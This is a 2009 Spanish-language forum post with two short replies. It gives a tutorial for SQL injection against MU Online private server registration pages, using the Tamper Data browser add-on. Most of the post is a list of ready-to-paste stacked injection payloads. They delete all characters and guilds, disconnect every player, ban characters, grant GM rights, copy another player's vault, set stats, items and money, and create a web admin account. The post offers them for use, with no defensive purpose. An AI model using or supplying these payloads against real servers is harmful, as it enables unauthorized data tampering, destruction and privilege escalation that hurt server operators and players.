[APORTE] SQL Injection By logan

Tema en 'Temas Archivados' iniciado por loganra, 14 May 2009.

Estado del tema:
Cerrado para nuevas respuestas
  1. Archivos Necesarios:
    YouTube - Mu Web Hack - SQL Injection

    Ahi les dejo un video k no es mio solo k no tube tiempo en hacerlo sorry

    Tamper Data: https://addons.mozilla.org/es-ES/firefox/addon/966

    Tutorial:

    1- Vamos a la Pagina web del Mu que estemos Jugando.

    2- Vamos a la seccion de Registro. Ejemplo: http://www.paginadelmu.com/index.php?op=register

    3- Llenamos todos los Campos de Registro.

    4- Una ves instalado el Tamper data , Vamos a Herramientas >> Tamper Data >>> Comenzar Modificacion

    5- Ahora precionamos Enviar en el formulario de Registro , Y Nos Saldra un Cartel Diciendo Modificar , Enviar , Abortar Peticion


    6- Precionamos en Modificar , Buscamos donde Dice Username o Account y Colocamos la Injeccion SQL que queremos hacer.

    7- Listo , Colocamos enviar y Luego Abortar Peticion

    Codigos Injecciones:

    Colocarte 200 Resets a tu Personaje
    'x'; update character set resets = 200 where name = 'NOMBREDETUPJ'

    Eliminar todos los Personajes del Server
    'x' ; delete character

    Cambiar de Raza tu Personaje
    'x'; update character set class = 64 where name = 'NOMBREDETUPJ'


    0 [DW ], 1 [SM ], 2 [GrandMaster] 16 [dk] 17 [bk] y 18 [bm] 64 [dl] 65 [le]


    Desconectar todos los Personajes del Server
    'x'; UPDATE MEMB_STAT SET ConnectStat='0' WHERE ConnectStat='1'

    Full Stats tu Personaje
    'x'; update character set strength=32767,dexterity=32767,energy=32767,vitali ty=32767,leadership=32767 where name = 'Kenya'

    Colocar tu Personaje Level 400
    'x'; update character set clevel=400 where name = 'NOMBREDETUPJ'


    Copiar Vault de Otro Personaje
    'x' ; UPDATE warehouse SET Items = (select items from warehouse where accountid = (select accountid from character where name = 'nombrepjacopiarbaul')) WHERE AccountID = 'nombredetucuenta'

    Dejar Personaje Normal
    'x'; update character set ctlcode = 0 where name = 'NOMBREDETUPJ'

    Banear Personaje
    'x'; update character set ctlcode = 1 where name = 'NOMBREDETUPJ'

    Hacer GM tu Personaje
    'x'; update character set ctlcode = 8 where name = 'NOMBREDETUPJ'

    Colocarte LevelUP Points
    'x'; update character set leveluppoints = 432 where name = 'NOMBREDETUPJ'


    Codigo Items En tu Inventario
    'x' ; UPDATE warehouse SET Items = 0x01EFFF00002FB27F0570000000000000 WHERE AccountID = 'mastercito'
    'x' ; UPDATE warehouse SET Items = 0x01EFFF00002FB67F0580000000000000 WHERE AccountID = 'mastercito'
    'x' ; UPDATE warehouse SET Items = 0x01EFFF00002FB77F0590000000000000 WHERE AccountID = 'mastercito'
    'x' ; UPDATE warehouse SET Items = 0x01EFFF00002FB37F05A0000000000000 WHERE AccountID = 'mastercito'
    'x' ; UPDATE warehouse SET Items = 0x01EFFF00002FB47F05B0000000000000 WHERE AccountID = 'mastercito'
    'x' ; UPDATE warehouse SET Items = 0x0EEFFF00002FB57F0500000000000000 WHERE AccountID = 'mastercito'

    ----------------------------------------- ANUBIS -------------------------------------------------------
    'x' ; UPDATE warehouse SET Items = 0x03EFFF00002FC2000570000000000000 WHERE AccountID = 'mastercito'
    'x' ; UPDATE warehouse SET Items = 0x03EFFF00002FC4000580000000000000 WHERE AccountID = 'mastercito'
    'x' ; UPDATE warehouse SET Items = 0x03EFFF00002CC30F0590000000000000 WHERE AccountID = 'mastercito'
    'x' ; UPDATE warehouse SET Items = 0x03EFFF00002FC50005A0000000000000 WHERE AccountID = 'mastercito'
    'x' ; UPDATE warehouse SET Items = 0x03EFFF00002FF50F05B0000000000000 WHERE AccountID = 'mastercito'
    'x' ; UPDATE warehouse SET Items = 0x15EFFF0000FFC60005D0000000000000 WHERE AccountID = 'mastercito'
    ----------------------------------------- BLESS --------------------------------------------------------
    'x' ; UPDATE warehouse SET Items = 0x0DEFFF0000FFC60001E0000000000000 WHERE AccountID = 'mastercito'
    ----------------------------------------- Sun ----------------------------------------------------------
    'x' ; UPDATE warehouse SET Items = 0x21EFFF000020B07F0078000000000000 WHERE AccountID = 'mastercito'
    'x' ; UPDATE warehouse SET Items = 0x21EFFF000020B17F0088000000000000 WHERE AccountID = 'mastercito'
    'x' ; UPDATE warehouse SET Items = 0x21EFFF000020B27F0098000000000000 WHERE AccountID = 'mastercito'
    'x' ; UPDATE warehouse SET Items = 0x21EFFF000020B37F00A8000000000000 WHERE AccountID = 'mastercito'
    'x' ; UPDATE warehouse SET Items = 0x21EFFF000020B47F00B8000000000000 WHERE AccountID = 'mastercito'
    ----------------------------------------- Ashcrow ------------------------------------------------------
    'x' ; UPDATE warehouse SET Items = 0x22EFFF0000AFB37F0070000000000000 WHERE AccountID = 'mastercito'
    'x' ; UPDATE warehouse SET Items = 0x22EFFF0000AFB47F0080000000000000 WHERE AccountID = 'mastercito'
    'x' ; UPDATE warehouse SET Items = 0x22EFFF0000AFB57F0090000000000000 WHERE AccountID = 'mastercito'
    'x' ; UPDATE warehouse SET Items = 0x22EFFF0000AFB67F00A0000000000000 WHERE AccountID = 'mastercito'
    'x' ; UPDATE warehouse SET Items = 0x22EFFF0000AFB77F00B0000000000000 WHERE AccountID = 'mastercito'
    'x' ; UPDATE warehouse SET Items = 0x22EFFF0000AFB87F0000000000000000 WHERE AccountID = 'mastercito'
    --------------------------------------------- RING -----------------------------------------------------
    'x' ; UPDATE warehouse SET Items = 0x15EFFF0000C1C67F00D0000000000000 WHERE AccountID = 'mastercito'
    'x' ; UPDATE warehouse SET Items = 0x1CEFFF0000DFB27F00D0000000000000 WHERE AccountID = 'Bakura'

    Eliminar Guild
    'x' ; Delete Guild

    Cambiar Inventario
    'x'; update character set inventory = 0x where name = 'NOMBREDETUPJ'

    Cambiar Codigo de Administracion Web
    'x'; INSERT INTO MuWeb_admin(username,password,securitycode)VALUES( 'MUAdmin','123123','0123')

    ZEN Para tu PJ
    'x'; update character set money=2000000000 where name = 'NOMBREDETUPJ'

    Hacer Full stats a tu Personaje
    'x'; update character set strength=65000,dexterity=65000,energy=65000,vitali ty=65000,leadership=65000 where name = 'NOMBREDETUPJ'


    ATEE : LOGAN :D Gamezerlove.com
     
  2. jaj eso si que es copiar y pegar xd. Nos sirve por que estan todas las web parchadas y la injection del temper data ya no sirve. ahora ahy nuevas formas para editar sin temper data. REPITO no funciona en casi niun server bye
     
  3. veremos q onda aver si anda:wink:
     
Estado del tema:
Cerrado para nuevas respuestas

Compartir